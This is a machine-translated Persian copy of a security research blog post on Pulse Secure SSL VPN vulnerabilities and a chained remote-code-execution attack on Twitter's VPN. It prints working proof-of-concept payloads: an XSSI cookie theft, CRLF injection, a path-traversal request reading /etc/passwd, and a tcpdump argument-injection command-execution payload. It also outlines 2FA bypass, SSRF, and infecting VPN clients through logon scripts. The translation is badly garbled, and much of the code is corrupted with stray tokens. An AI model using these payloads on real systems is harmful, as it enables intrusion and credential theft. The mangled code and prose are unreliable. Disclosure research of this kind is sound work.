حمله به SSL VPN – قسمت 3: زنجیره ای Golden Pulse Secure SSL VPN RCE زنجیره ای ، با توییتر به عنوان مورد مطالعه!
نویسنده: Orange Tsai ( @ orange_8361 ) and Meh Chang (mehqq_ )
سلام ، این آخرین قسمت از سری Attacking SSL VPN است. اگر هنوز مقالات قبلی را نخوانده اید ، لینکهای سریع برای شما آورده شده است:
بعد از اینکه تحقیقات خود را در بلک هات منتشر کردیم ، به دلیل شدت زیاد و تأثیرات بسیار زیاد ، توجه و بحث های زیادی را به خود جلب کرد. بسیاری از افراد اخبار دست اول را می خواهند و از تعجب كه زمان انتشار این سوءاستفاده (به ویژه Pulse Secure preAuth one) منتشر خواهد شد ، می خواهند.
ما همچنین این موضوع را در داخل مورد بحث قرار دادیم. در واقع ، ما می توانیم بدون هیچ گونه نگرانی کل سوء استفاده ها را کنار بگذاریم و افشای رسانه های زیادی را بدست آوریم. با این حال ، به عنوان یک شرکت امنیت ، مسئولیت ما این است که جهان را ایمن تر کنیم. بنابراین تصمیم گرفتیم افشای عمومی را به تعویق بیندازیم تا به دنیا فرصت بیشتری برای اعمال تکه ها بدهیم!
متأسفانه ، سوء استفاده ها توسط شخص دیگری فاش شد. آنها را می توان به راحتی در GitHub [1] [2] [3] و بهره برداری از db [1] یافت. راستش ، ما نمی توانیم بگوییم که آنها اشتباه هستند ، زیرا اشکالات چند ماه پیش کاملاً برطرف شده اند ، و آنها وقت خود را صرف متفاوت / معکوس / تولید مثل کردند. اما واقعاً این سؤال است که می توان از جامعه امنیتی سؤال کرد: اگر سلاحی در سطح هسته ای دارید ، چه زمانی برای افشای عمومی آماده است؟ از آمار Bad Packet ، تعداد بیشماری ارتش Fortune 500 ، ایالات متحده ، دولت ، مؤسسات مالی و دانشگاهها نیز تحت تأثیر این امر قرار دارند. حتی 10 سرور ناسا وجود دارد که در معرض این اشکال قرار دارند . بنابراین ، این افشاگری های عمومی زودرس در واقع این افراد را مجبور می کند تا SSL VPN خود را ارتقا دهند ، این بخش خوبی است.
از طرف دیگر ، نکته بد این است که در این میان تعداد فزاینده ای از بات نت ها وجود دارند که اینترنت را اسکن می کنند. اطلاعات همچنین اشاره می کند که در حال حاضر یک گروه چین APT وجود دارد که از این اشکال سوء استفاده می کند. این یک فاجعه اینترنتی است. ظاهرا هنوز جهان آماده نیست. بنابراین ، اگر Palo Alto ، Fortinet یا Pulse Secure SSL VPN خود را به روز نکرده اید ، لطفاً آن را ASAP به روز کنید.
Pulse Secure رهبر بازار SSL VPN است که راه حل های دسترسی ایمن حرفه ای برای Hybrid IT را ارائه می دهد. Pulse Secure مدتهاست که در صف تحقیقات ما قرار دارد زیرا این یک زیرساخت مهم Google است که یکی از اهداف بلند مدت ما است. با این حال ، گوگل مدل امنیتی Zero Trust را اعمال می کند ، بنابراین VPN اکنون حذف شده است.
ما در اواسط دسامبر سال گذشته شروع به بررسی Pulse Secure کردیم. در 2 ماه اول ، ما هیچ چیزی دریافت نکردیم. Pulse Secure از شیوه کدگذاری و آگاهی امنیتی خوبی برخوردار است به طوری که پیدا کردن اشکالات پیش پا افتاده دشوار است. در اینجا یک مقایسه جالب وجود دارد ، ما در اولین روز تحقیق ما پرونده دلخواه خواندن CVE-2018-13379 را در FortiGate SSL VPN یافتیم …
Pulse Secure نیز عاشق Perl است و تعداد زیادی پسوند Perl را در C ++ می نویسد. تعامل بین پرل و C ++ برای ما نیز گیج کننده است ، اما در حالی که زمان بیشتری را برای حفاری در آن هزینه کردیم با آن بیشتر آشنا شدیم. سرانجام ، ما اولین خون را در 8 مارس 2019 گرفتیم! این یک سرریز مبتنی بر پشته بر روی رابط مدیریت است! اگرچه این اشکال چندان مفید نیست ، از آن زمان پیشرفت تحقیقات ما در حال پیگیری بود و ما بیشتر اشکالات آن را کشف کردیم.
ما تمام یافته های خود را به Pulse Secure PSIRT در 22 مارس 2019 گزارش دادیم. . پاسخ آنها بسیار سریع است و این آسیب پذیری ها را جدی می گیرند! پس از چندین تماس کنفرانسی با Pulse Secure ، آنها تمام مشکلات را فقط طی یک ماه برطرف کردند ، و تکه ها را در 24 آوریل 2019 منتشر کردند. شما می توانید مشاوره امنیتی دقیق را بررسی کنید!
زمان بسیار خوبی برای همکاری با Pulse Secure است. از دیدگاه ما ، Pulse Secure مسئولیت پذیرترین فروشنده در بین کلیه فروشندگان SSL VPN است که ما در این مورد اشکالات را گزارش کرده ایم!
ما در کل 7 آسیب پذیری پیدا کرده ایم. در اینجا لیست است. ما هر یک را معرفی خواهیم کرد ، اما روی CVE-2019-11510 و CVE-2019-11539 بیشتر تمرکز خواهیم کرد.
- CVE-2019-11510 – خواندن پرونده دلخواه پیش نویس
- CVE-2019-11542 – Post-auth ( سرپرست) سرریز بافر Stack Buffer
- CVE-2019-11539 – تزریق فرمان ارسال پس از (مدیر)
- CVE-2019-11538 – Post-auth (کاربر) خواندن پرونده های دلخواه از طریق NFS
- CVE-2019-11508 – نوشتن پرونده خودسرانه پس از اتمام (کاربر) از طریق NFS
- CVE-2019-11540 – گنجاندن اسکریپت متقاطع سایت پس از تالیف
- CVE-2019-11507 – برنامه نویسی متقاطع پس از اتمام
نسخه های تحت تأثیر
- Pulse Connect Secure 9.0R1 – 9.0R3.3
- Pulse Connect Secure 8.3R1 – 8.3R7
- Pulse Connect Secure 8.2R1 – 8.2R12
- Pulse Connect Secure 8.1R1 – 8.1R15
- Pulse Connect Secure 8.2R1 – 8.2R12
- Pulse Connect Secure 8.1R1 – 8.1R15
- Pulse Connect Secure 8.0R1 – 9.0R3.3
- Secure Policy 9.0R1 – 9.0R3.3
- Security Pulse Security 5.4R1 – 5.4R7
- Security Pulse Secure 5.3R1 – 5.3R12
- Policy Pulse Secure 5.2R1 – 5.2R12
- Security Pulse Security 5.1R1 – 5.1R15
CVE-2019-11540: مقطع سایت Ript Incociation
اسکریپت /dana/cs/cs.cgi
شناسه جلسه را در جاوا اسکریپت ارائه می دهد. از آنجا که نوع محتوا بر روی Application / x-javascript
تنظیم شده است ، می توانیم حمله XSSI را انجام دهیم تا کوکی DSID را سرقت کنیم!
حتی بدتر ، حفاظت از CSRF در Pulse Secure SSL VPN است. DSID با استفاده از این XSSI ، ما می توانیم از همه حفاظت CSRF دور بزنیم!
PoC:
<script src = "https: //sslvpn/dana/cs/cs.cgi؟ action = Appletobj" [19659040]>
windows . onload = function () {
windows . سند . ] writeln = function ( msg ) [
if ] [ msg index.f ] "DSID" ) > = 0 ) alarm ( msg )
}
ReplaceContent ()
}
CVE-2019-11507: برنامه نویسی متقاطع
تزریق CRLF در وجود دارد /dana/home/cts_get_ica.cgi
. به دلیل تزریق ، می توانیم هدرهای HTTP دلخواه را جعل کرده و محتوای HTML مخرب را تزریق کنیم.
PoC:
https: //sslvpn/dana/home/cts_get_ica.cgi
؟ bm_id = x
& vdi = 1
& appname = aa٪ 0d٪ 0aContent-Type :: text / html٪ 0d٪ 0aContent-Disposition :: inline٪ 0d٪ 0aaa: bb
CVE-2019-11538: Post-auth (کاربر) خواندن پرونده خودسرانه از طریق NFS [19659034] دو آسیب پذیری زیر (CVE-2019-11538 و CVE-2019-11508) بر تنظیمات پیش فرض تأثیر نمی گذارد. به نظر می رسد تنها اگر سرپرست اشتراک گذاری NFS را برای کاربران VPN پیکربندی کند.
اگر یک مهاجم بتواند هر پرونده ای را روی سرور NFS از راه دور کنترل کند ، می تواند فقط یک لینک نمادین برای هر پرونده ایجاد کند ، مانند / etc / passwd.
، و آن را از رابط وب بخوانید. علت اصلی این است که اجرای NFS سرور از راه دور را به عنوان یک دایرکتوری واقعی لینوکس سوار می کند ، و اسکریپت /dana/fb/nfs/nfb.cgi
بررسی نمی کند که آیا فایل دستیابی شده یک سیمکارت است یا نه.
CVE-2019-11508: نوشتن پرونده خودسرانه از طریق NFS
این یک کمی شبیه به مورد قبلی است ، اما با یک بردار حمله متفاوت!
وقتی مهاجم آپلود می کند. یک فایل ZIP به NFS از طریق رابط وب ، اسکریپت /dana/fb/nfs/nu.cgi
نام پرونده موجود در ZIP را ضد نمی کند. بنابراین ، یک مهاجم می تواند یک فایل مخرب ZIP ایجاد کند و مسیر را با ../
در نام پرونده طی کند! هنگامی که Pulse Secure فشرده شد ، مهاجم می تواند هر آنچه را می خواهد به هر مسیری بارگذاری کند!
CVE-2019-11542: Post-auth (مدیر) Stack Buffer Overflow
سرریز بافر مبتنی بر پشته در ماژول Perl زیر وجود دارد. پیاده سازی ها:
- DSHC :: ThinkForReporting
- DSHC :: isSendReasonStringEnabled
- DSHC :: getRemedCustomInstruction
. این اشکال را می توان در بسیاری از مناطق ایجاد کرد ، اما در اینجا ما از /dana-admin/auth/hc.cgi
به عنوان PoC ما استفاده می کنیم.
https: // sslvpn / dana-admin / auth / hc. cgi
؟ پلتفرم = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
و خط مشی = 0
و می توانید خطای قطعه را از dmesg
cgi-server [22950] مشاهده کنید: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 در DSHC.so: [1965909710] CVE-2019: خواندن پرونده های خودسرانه از پیش نویس
در واقع ، این شدیدترین اشکال در این زمان است. در اجرای سرور وب است. همانطور که اسلایدهای ما ذکر کردند ، Pulse Secure سرور وب و معماری وب خود را از ابتدا پیاده سازی می کند. اعتبارسنجی مسیر اصلی بسیار دقیق است. با این حال ، از نسخه 8.2 ، Pulse Secure ویژگی جدیدی به نام HTML5 Access
را معرفی کرد ، این ویژگی مورد استفاده برای تعامل با Telnet ، SSH و RDP توسط مرورگرها است. به لطف این ویژگی جدید ، اعتبارسنجی مسیر اصلی سست می شود.
به منظور اداره منابع استاتیک ، Pulse Secure یک IF-CONDITION جدید ایجاد کرد تا اعتبار سنجی مسیر در ابتدا سخت تر شود. کد به اشتباه از درخواست-> uri
و درخواست-> filepath
استفاده می کند ، بنابراین می توانیم / dana / html5acc / guacamole /
را در پایان مشخص کنیم رشته پرس و جو برای دور زدن اعتبار و ایجاد درخواست -> filepath
به هر پرونده ای که می خواهید بارگیری کنید!
و شایان ذکر است که برای خواندن پرونده های دلخواه ، باید را مشخص کنید. ] / dana / html5acc / guacamole /
دوباره در وسط مسیر. در غیر این صورت ، شما فقط می توانید پسوندهای فایل محدودی از قبیل .json ، .xml یا .html را بارگیری کنید.
به دلیل سوءاستفاده در طبیعت ، دیگر هیچ نگرانی برای نشان دادن بارپرداخت وجود ندارد:
واردات درخواست
r = درخواست . دریافت ( 'https: //sslvpn/dana-na/../dana/html5acc/guacamole/ .. /../../../../../etc/passwd؟/dana/html5acc/guacamole/'roulette19659042 معروف)ross19659112 معروفprintociation19659106 غلت1919659107..19199508 ]
CVE-2019-11539: تزریق فرمان پست-auth (سرپرست)
آخرین مورد تزریق فرمان در رابط مدیریت است. ما این آسیب پذیری را خیلی زود پیدا کردیم ، اما در ابتدا راهی برای بهره برداری از آن پیدا نکردیم. در حالی که ما در وگاس بودیم ، یکی از دوستانم به من گفت که او قبلاً همان اشکال را پیدا کرد ، اما راهی برای بهره برداری از آن پیدا نکرد ، بنابراین وی به فروشنده گزارشی نداد.
با این حال ، ما این کار را کردیم ، و ما از یک روش بسیار هوشمندانه بهره برداری می کنیم:)
علت اصلی این آسیب پذیری بسیار ساده است. در اینجا یک قطعه کد از /dana-admin/diag/diag.cgi
است:
# ...
$ گزینه ها = tcpdump_options_syntax_check ( CGI :: param ( "option" ))؛
# ...
sub tcpdump_options_syntax_check {
my $ گزینه ها = shift ؛
بازگشت $ گزینه ها if system ] ( "$ TCPDUMP_COMMAND-d $ options> / dev / null 2 > & 1 ") == 0 ؛
Return Undef ؛
}
آنقدر واضح و واضح است که همه می توانند نشان دهند که یک تزریق فرمان در گزینه های پارامتر
وجود دارد! با این حال ، آیا این آسان است؟ خیر!
به منظور جلوگیری از آسیب پذیری های احتمالی ، Pulse Secure سختی های زیادی را بر روی محصولات خود اعمال می کند! مانند بررسی یکپارچگی سیستم ، سیستم فایلهای فقط خواندنی و ماژول برای قلاب زدن همه دعوتهای خطرناک پرل مانند سیستم
، open
و backtick
…
این ماژول DSSAFE.pm
نامیده می شود. این تجزیه و تحلیل خط فرمان خود را پیاده سازی می کند و مجدد I / O را در پرل مجدداً پیاده سازی می کند. در اینجا قطعات کد در Gist وجود دارد.
از قطعات کد ، می توانید ببینید که سیستم اصلی
را جایگزین می کند و بسیاری از چک های موجود در __ parsecmd
را انجام می دهد. همچنین بسیاری از شخصیت های بد مانند: [
[&*(){}[] `؛ | | ؟ n ~ <>] را مسدود می کند
بررسی ها بسیار دقیق است به طوری که ما نمی توانیم تزریق دستور انجام دهیم. ما چندین روش برای دور زدن آن تصور کردیم و اولین چیزی که از ذهن من بیرون آمد تزریق استدلال است. ما تمام استدلالهایی را ذکر کردیم که TCPDUMP
پشتیبانی می کند و دریافتیم که دستور [post] postzate -z
ممکن است مفید باشد. اما نکته غم انگیز این است که TCPDUMP
در Pulse Secure برای پشتیبانی از این ویژگی آبدار خیلی قدیمی است (v3.9.4 ، سپتامبر 2005) ، بنابراین ما شکست خوردیم: (
در هنگام بررسی سیستم ، فهمیدیم که اگرچه webroot فقط خواندنی است ، ما هنوز می توانیم از مکانیزم حافظه پنهان سوءاستفاده کنیم. Pulse Secure نتیجه این الگو را در / data / runtime / tmp / tt /
ذخیره می کند تا سرعت در ارائه اسکریپت سرعت بگیرد. بنابراین تلاش بعدی ما این است که پرونده را با استفاده از استدلال - با نوشتن پرونده
در دایرکتوری حافظه نهان بنویسید ، با این وجود نوشتن یک فایل چندگلوت به دو صورت PCAP و Perl غیرممکن است.
همانطور که به نظر می رسد ما به انتها رسیده بودیم از تزریق آرگومان ، سعی کردیم عمیق تر به اجرای DSSFAFE.pm
بپردازیم تا ببینیم آیا چیزی وجود دارد که بتوانیم از آن استفاده کنیم ، وجود دارد. در اینجا ما یک نقص را در خط فرمان کشف کردیم. اگر ناقص I / O را وارد کنیم. تغییر مسیر ، بقیه قسمت تغییر مسیر کوتاه خواهد شد. گرچه این یک نقص کوچک است ، اما به ما کمک می کند تا کنترل مجدد I / O r را انجام دهیم متن! با این حال ، مشکلی که ما نمی توانیم یک اسکریپت معتبر Perl تولید کنیم ، هنوز برای ما زحمت کشید.
ما در اینجا گیر کرده ایم و وقت آن است که از این کادر فکر کنیم. تولید اسکریپت معتبر پرل از طریق STDOUT
دشوار است ، آیا می توانیم فقط Perl را توسط STDERR
بنویسیم؟ پاسخ بله است. هنگامی که [TCPDUMP] TCPDUMP
را مجبور به خواندن یک پرونده غیر وجود از طریق -r-read-file
. این خطا را نشان می دهد:
tcpdump: [filename]: هیچ پرونده یا پوشه ای
وجود ندارد. به نظر می رسد ما می توانیم " تا حدی " پیام خطا را کنترل کنیم. سپس نام پرونده چاپ 123 #
را امتحان کردیم ، و جادو اتفاق می افتد!
$ tcpdump -d -r 'print 123 #'
tcpdump: چاپ 123 #: فایلی یا دایرکتوری وجود ندارد
$ tcpdump -d -r 'print 123 #' 2> & 1 | perl -
123
پیام خطا اکنون به یک اسکریپت معتبر پرل تبدیل می شود. چرا؟ خوب ، بیایید اکنون یک درس Perl 101 داشته باشیم!
همانطور که می بینید ، پرل از برچسب GOTO پشتیبانی می کند ، بنابراین tcpdump :
به یک برچسب معتبر در Perl تبدیل می شود. سپس بقیه را با هشتگ اظهار نظر می کنیم. با استفاده از این ترفند خلاق ، می توانیم اکنون Perl معتبر تولید کنیم!
سرانجام ، ما از نماد I / O ناقص <
برای فریب فرمان DSSAFE.pm
استفاده می کنیم و دستورالعمل را تغییر می دهیم. STDERR
را در فهرست حافظه پنهان! در اینجا استثمار نهایی است:
-r $ x = "ls /" ، سیستم $ x # 2> /data/runtime/tmp/tt/setcookie.thtml.ttc <
فرمان جمع شده به نظر می رسد:
/ usr / sbin / tcpdump -d
-r '$ x = "ls /"، system $ x #'
2> /data/runtime/tmp/tt/setcookie.thtml.ttc <
> / dev / null
2> و 1
و تولید شده setcookie.thtml.ttc
به نظر می رسد:
tcpdump: $ x = "ls /" ، system [19659126] $ x #: هیچ پرونده یا دایرکتوری
پس از انجام این کار ، فقط می توانیم صفحه مربوطه را برای اجرای دستور خود واکشی کنیم:
$ curl https: //sslvpn/dana-na/auth/setcookie.cgi
boot bin home lib64 mnt opt proc sys usr var
داده ها و غیره lib از دست داده + ماژول های موجود را پیدا کردیم pkg sbin tmp
...
تاکنون ، کل بخش فنی این تزریق فرمان به پایان رسیده است. با این حال ، ما فکر می کنیم ممکن است یک روش خلاقانه دیگر برای بهره برداری از این امر وجود داشته باشد ، اگر یکی از آنها را پیدا کردید ، لطفاً به من بگویید! ما برای اندازه گیری زمان پاسخگویی به هر شرکت بزرگ ، نظارت بر اینترنت را دنبال می کردیم. توییتر یکی از آنهاست. آنها به دلیل برنامه bug bounty و هکرها خوب هستند. با این حال ، سوءاستفاده از یک روز درست بعد از انتشار پچ نامناسب است. بنابراین 30 روز صبر می کنیم تا توییتر SSL VPN خود را به روز کند.
باید بگوییم ، ما در آن زمان عصبی بودیم. اولین کاری که هر روز صبح انجام دادیم اینست که بررسی کنیم آیا توییتر SSL VPN خود را ارتقا می دهد یا نه! این زمان فراموش نشدنی برای ما بود: P
ما شروع به هک کردن توییتر در 28 مه 2019 کردیم. در طی این عملیات با موانع مختلفی روبرو هستیم. مورد اول ، اگرچه می توانیم رمزعبور ساده کارمندان توییتر را بدست آوریم ، اما به دلیل تأیید هویت Two Factor ، هنوز نمی توانیم وارد SSL VPN آنها شویم. در اینجا ما دو راه برای دور زدن آن را پیشنهاد می کنیم. اولین مورد این است که مشاهده کردیم توییتر از راه حل Duo استفاده می کند. در کتابچه راهنمای ذکر شده است:
امنیت برنامه Duo شما با امنیت کلید مخفی شما (اسکی) مرتبط است. آن را به عنوان اعتبار معتبر خود امن کنید. آنرا با افراد غیرمجاز به اشتراک نگذارید و به هر کسی تحت هر شرایطی ایمیل نکنید!
بنابراین اگر بتوانیم کلید مخفی را از سیستم خارج کنیم ، می توانیم API Duo را برای دور زدن 2FA اهرم کنیم. با این حال ، ما راهی سریعتر برای دور زدن آن پیدا کردیم. توییتر ویژگی Roaming Session را فعال کرد ، که برای تقویت تحرک استفاده می شود و امکان جلسه در چندین مکان IP را فراهم می کند.
به دلیل این ویژگی " راحت " ، ما فقط می توانیم پایگاه داده جلسه را بارگیری کنیم و کوکی های خود را جعل کنیم. برای ورود به سیستم آنها!
تاکنون ، ما می توانیم به توییتر اینترانت دسترسی پیدا کنیم. با این وجود ، هدف ما دستیابی به اجرای کد است! به نظر می رسد مهمتر از دسترسی به اینترانت است. بنابراین ما می خواهیم اشکال تزریق فرمان خود (CVE-2019-11539) را با هم زنجیر کنیم. خوب ، در اینجا ، ما با یک مانع دیگر روبرو شدیم. این رابط مدیریت محدود است!
همانطور که قبلاً اشاره کردیم ، اشکال ما در رابط مدیریت است. اما از نظر امنیتی ، بیشتر شرکت ها این رابط را به صورت عمومی غیرفعال می کنند ، بنابراین ما برای دسترسی به صفحه مدیر نیاز به روش دیگری داریم. اگر مقاله قبلی ما را با دقت خوانده اید ، ممکن است ویژگی " WebVPN " را به خاطر بیاورید! WebVPN پروکسی است که به اتصال به هر نقطه کمک می کند. بنابراین ، بیایید به خود متصل شویم.
بله ، SSRF است!
در اینجا ما از یک ترفند کوچک برای دور زدن محافظت های SSRF استفاده می کنیم.
آها! از طریق SSRF ، اکنون می توانیم رابط را لمس کنیم! سپس آخرین مانع بالا آمد. ما هیچ رمزعبور ساده ای از مدیران نداریم. هنگامی که پرل می خواهد داده ها را با روشهای بومی مانند برنامه افزودنی Perl در C ++ یا وب سرور تبادل کند ، از حافظه نهان برای ذخیره داده استفاده می کند. مشکل این است که Pulse Secure فراموش می کند تا داده های حساس را پس از تبادل پاک کند ، به همین دلیل می توانیم کلمات عبور ساده را در حافظه پنهان بدست آوریم. اما عملاً ، بیشتر مدیران فقط برای اولین بار وارد سیستم خود می شوند ، بنابراین گرفتن رمز ساده متن مدیر سخت است. تنها موردي كه ما دريافت كرديم ، هش رمز عبور در sha256 (md5_crypt (نمك ، ...))
است
…
اگر در ترك كردن هشي تجربه داريد ، مي دانيد چقدر سخت است. بنابراین ...
ما یک AWS 72 هسته ای را برای شکستن آن راه اندازی کردیم.
ما هش را شکستیم و RCE را با موفقیت گرفتیم! من فکر می کنم خوش شانس هستیم زیرا از مشاهده ما ، سیاست رمز عبور بسیار محکمی در مورد کارمندان توییتر وجود دارد. اما به نظر می رسد این سیاست برای مدیر اعمال نمی شود. طول رمزعبور مدیر فقط ده نفر است و شخصیت اول B است. در مرحله بسیار اولیه صف ترک ما است ، به طوری که می توانیم ظرف 3 ساعت هش را بشکنیم.
ما تمام یافته های خود را به توییتر گزارش دادیم و بالاترین امتیاز را از آنها دریافت کردیم. اگرچه ما نمی توانیم اثبات کنیم ، اما به نظر می رسد این اولین اجرای از راه دور کد در توییتر است! اگر به گزارش کامل علاقه دارید ، می توانید برای اطلاعات بیشتر به لینک HackerOne مراجعه کنید.
چگونه می توان چنین حملات را کاهش داد؟ در اینجا ما چندین توصیه ارائه می دهیم.
اولین گواهی Client-Side است. این همچنین موثرترین روش است. بدون داشتن گواهی معتبر ، اتصال مخرب در طی مذاکرات SSL از بین می رود! دوم تأیید هویت چند عاملی است. اگرچه این بار توییتر 2FA را شکسته ایم ، با یک تنظیم مناسب ، MFA هنوز هم می تواند سطح حمله بی شماری را کاهش دهد. در مرحله بعد ، ممیزی ورود به سیستم را کامل کنید و به یاد داشته باشید که به یک سرور ورود به سیستم خارج از مرز ارسال کنید.
همچنین ، موجودی دارایی سازمانی خود را مرتباً انجام دهید و در مشاوره امنیتی فروشنده شرکت کنید. از همه مهمتر ، همیشه سیستم خود را به روز کنید!
شرکت ما ، DEVCORE ، حرفه ای ترین خدمات تیم قرمز در آسیا را ارائه می دهد. در این بخش جایزه ، اجازه دهید صحبت کنیم که چگونه تیم قرمزها را بیشتر کنیم RED !
ما همیشه می دانیم که در یک عملیات تیم قرمز ، رایانه شخصی از ارزش بیشتری برخوردار است! چندین روش قدیمی در مدرسه برای به خطر انداختن مشتری VPN از طریق SSL VPN قبل وجود دارد ، مانند حمله به سوراخ در آب و جایگزینی عامل VPN.
در طول تحقیق ما ، یک وکتور حمله جدید پیدا کردیم تا همه مشتری ها را به دست بگیرد. این ویژگی " اسکریپت ورود به سیستم " است. تقریباً در هر SSL VPN مانند OpenVPN ، Fortinet ، Pulse Secure ... و موارد دیگر ظاهر می شود. این می تواند اسکریپت های مربوطه را برای نصب سیستم پرونده شبکه یا اجرای جدول مسیریابی پس از برقراری اتصال VPN ، اجرا کند.
به دلیل این ویژگی " سازگار با هکرها " ، هنگامی که امتیاز مدیر را بدست آوردیم ، ما می تواند از این ویژگی برای آلوده کردن کلیه مشتریان VPN استفاده کند! در اینجا ما به عنوان نمونه از Pulse Secure استفاده می کنیم و نشان می دهیم که چگونه نه تنها SSL VPN را به خطر بیاندازید بلکه کلیه مشتریان متصل خود را نیز به دست می گیرید:
خوب ، در اینجا پایان این سری Attacking SSL VPN است! از یافته های ما ، SSL VPN چنین سطح حمله بزرگی است که محققان امنیتی کمی از آنها در حال حفاری هستند. ظاهراً سزاوار توجه بیشتر است. ما امیدواریم که این نوع سریال بتواند محققان دیگر را به مشارکت در این زمینه ترغیب کند و امنیت شرکت ها را ارتقا بخشد!
با تشکر از همه بچه هایی که با آنها ملاقات کردیم ، همکاری و همکاری داشتیم. ما تحقیقات آینده تر ابتکاری بیشتری را در آینده منتشر خواهیم کرد:)
.